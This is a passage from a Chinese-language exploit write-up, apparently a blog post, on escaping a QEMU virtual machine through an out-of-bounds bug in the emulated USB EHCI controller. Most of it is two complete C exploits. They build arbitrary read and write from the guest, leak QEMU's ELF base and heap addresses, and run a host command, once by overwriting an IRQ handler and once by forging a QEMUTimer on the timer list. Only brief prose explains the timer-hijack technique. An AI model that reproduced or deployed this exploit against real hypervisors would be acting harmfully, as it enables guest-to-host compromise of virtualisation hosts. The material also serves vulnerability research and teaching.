mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void write_to_usb () { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(data_buf); qtd->bufptr[1 ] = gva_to_gpa(data_buf_oob); mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void arb_read (uint32_t offset, uint32_t size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_IN; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); read_from_usb(); }void arb_write (uint32_t offset, void *payload, uint32_t payload_size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_OUT; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + payload_size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); memcpy (data_buf, payload, payload_size); write_to_usb(); }char cmd[0x40 ] = "gnome-calculator" ;int main () { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0" , O_RDWR | O_SYNC); mmio = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); buf = mmap(0 , 0x3000 , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); mlock(buf, 0x3000 ); entry = buf + 4 ; qh = buf + 0x100 ; qtd = buf + 0x200 ; setup_buf = buf + 0x300 ; payload_buf = buf + 0x400 ; data_buf = buf + 0x1000 ; data_buf_oob = buf + 0x2000 ; *entry = gva_to_gpa(qh) + 2 ; arb_read(0x2004 , 0x40 ); size_t elf_addr = *(uint64_t *)(data_buf + 0x18 ); size_t elf_base_addr = elf_addr - 0x538467 ; size_t system_plt = elf_base_addr + 0x2c4940 ; printf ("[*] leak_elf_base_addr_is %#lx\n" , elf_base_addr); size_t heap_addr = *(uint64_t *)(data_buf); size_t usb_device_addr = heap_addr - 0x2050 ; size_t ehci_state_addr = usb_device_addr - 0x83260 ; size_t usb_data_buf = usb_device_addr + 0xdc ; printf ("[*] leak_usb_device_addr_is %#lx\n" , usb_device_addr); size_t irq_addr = usb_device_addr - 0x7c0 ; *payload_buf = system_plt; *(payload_buf + 1 ) = usb_data_buf; arb_write((uint32_t )(irq_addr + 0x28 - usb_data_buf), payload_buf, 0x10 ); set_length(0x40 , USB_DIR_OUT); memcpy (data_buf, cmd, 0x40 ); write_to_usb(); mmio_write(0x24 , 0 ); }
修改time_list 另一种就是参考CVE-2019-6778的做法,不依赖任何设备的函数,直接伪造QEMUTimerList和QEMUTimer,修改qemu的全局变量main_loop_tlg的值为伪造的QEMUTimerList的地址,等待QEMUTimer中的cb(opaque)去自动执行。
不过真的有必要去伪造一个QEMUTimerList吗?在timerlist_run_timers 函数中,ts = timer_list->active_timers,最后再去调用ts这个QEMUTimer中的cb(opaque),那么直接修改timer_list->active_timers为一个伪造的QEMUTimer地址依然可以达到目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 while ((ts = timer_list->active_timers)) { if (!timer_expired_ns(ts, current_time)) { break ; } if (need_replay_checkpoint && !(ts->attributes & QEMU_TIMER_ATTR_EXTERNAL)) { need_replay_checkpoint = false ; qemu_mutex_unlock(&timer_list->active_timers_lock); if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL)) { goto out; } qemu_mutex_lock(&timer_list->active_timers_lock); continue ; } timer_list->active_timers = ts->next; ts->next = NULL ; ts->expire_time = -1 ; cb = ts->cb; opaque = ts->opaque; qemu_mutex_unlock(&timer_list->active_timers_lock); cb(opaque); qemu_mutex_lock(&timer_list->active_timers_lock); progress = true ; }
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/io.h> #include <unistd.h> #include <stdbool.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) void *mmio;int fd;void *buf;uint8_t *setup_buf;size_t *payload_buf;void *data_buf;void *data_buf_oob;uint32_t *entry;struct EHCIqh * qh ;struct EHCIqtd * qtd ;#define PORTSC_PRESET (1 << 8) #define PORTSC_PED (1 << 2) #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 2 #define USB_TOKEN_IN 1 #define USB_TOKEN_OUT 0 #define SETUP_STATE_DATA 2 #define QTD_TOKEN_TBYTES_SH 16 #define QTD_TOKEN_PID_SH 8 typedef struct EHCIqh { uint32_t next; uint32_t epchar; uint32_t epcap; uint32_t current_qtd; uint32_t next_qtd; uint32_t altnext_qtd; uint32_t token; uint32_t bufptr[5 ]; } EHCIqh;typedef struct EHCIqtd { uint32_t next; uint32_t altnext; uint32_t token; uint32_t bufptr[5 ]; } EHCIqtd;uint32_t page_offset (uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1 ); }uint64_t gva_to_gfn (void *addr) { uint64_t pme, gfn; size_t offset; fd = open("/proc/self/pagemap" , O_RDONLY); if (fd < 0 ) { perror("open" ); exit (1 ); } offset = ((uintptr_t )addr >> 9 ) & ~7 ; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8 ); if (!(pme & PFN_PRESENT)) return -1 ; gfn = pme & PFN_PFN; close(fd); return gfn; }uint64_t gva_to_gpa (void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1 ); return (gfn << PAGE_SHIFT) | page_offset((uint64_t )addr); }void mmio_write (uint64_t addr, uint32_t value) { *(uint32_t *)(mmio + addr) = value; }uint32_t mmio_read (uint64_t addr) { return *(uint32_t *)(mmio + addr); }void set_length (uint16_t len, uint8_t option) { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(setup_buf); setup_buf[0 ] = option; setup_buf[6 ] = len & 0xff ; setup_buf[7 ] = (len >> 8 ) & 0xff ; mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void read_from_usb () { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(data_buf); qtd->bufptr[1 ] = gva_to_gpa(data_buf_oob); mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void write_to_usb () { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(data_buf); qtd->bufptr[1 ] = gva_to_gpa(data_buf_oob); mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void arb_read (uint32_t offset, uint32_t size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_IN; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); read_from_usb(); }void arb_write (uint32_t offset, void *payload, uint32_t payload_size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_OUT; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + payload_size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); memcpy (data_buf, payload, payload_size); write_to_usb(); }char cmd[0x40 ] = "gnome-calculator" ;int main () { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0" , O_RDWR | O_SYNC); mmio = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); buf = mmap(0 , 0x3000 , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); mlock(buf, 0x3000 ); entry = buf + 4 ; qh = buf + 0x100 ; qtd = buf + 0x200 ; setup_buf = buf + 0x300 ; payload_buf = buf + 0x400 ; data_buf = buf + 0x1000 ; data_buf_oob = buf + 0x2000 ; *entry = gva_to_gpa(qh) + 2 ; arb_read(0x2004 , 0x40 ); size_t elf_addr = *(uint64_t *)(data_buf + 0x18 ); size_t elf_base_addr = elf_addr - 0x538467 ; size_t system_plt = elf_base_addr + 0x2c4940 ; printf ("[*] leak_elf_base_addr_is %#lx\n" , elf_base_addr); size_t heap_addr = *(uint64_t *)(data_buf); size_t usb_device_addr = heap_addr - 0x2050 ; size_t ehci_state_addr = usb_device_addr - 0x83260 ; size_t usb_data_buf = usb_device_addr + 0xdc ; printf ("[*] leak_usb_device_addr_is %#lx\n" , usb_device_addr); size_t time_list = usb_device_addr - 0xba9b50 ; size_t fake_timer[8 ]; size_t fake_timer_addr = usb_data_buf + 4 ; size_t cmd_addr = fake_timer_addr + 0x40 ; int i = 0 ; fake_timer[i++] = 0xffffffffffffffff ; fake_timer[i++] = time_list; fake_timer[i++] = system_plt; fake_timer[i++] = cmd_addr; fake_timer[i++] = 0 ; fake_timer[i++] = 0 ; fake_timer[i++] = 0 ; fake_timer[i++] = 0 ; memcpy (payload_buf, fake_timer, 0x40 ); memcpy (payload_buf + 8 , cmd, 0x40 ); *(payload_buf + 0x10 ) = fake_timer_addr; uint32_t offset = (uint32_t )(time_list + 0x40 - usb_data_buf); set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); memcpy (data_buf + 0xc , payload_buf, 0x80 ); *(uint32_t *)(data_buf) = USB_DIR_OUT; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + 8 ; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); memcpy (data_buf, payload_buf + 0x10 , 8 ); write_to_usb(); }
执行效果如下: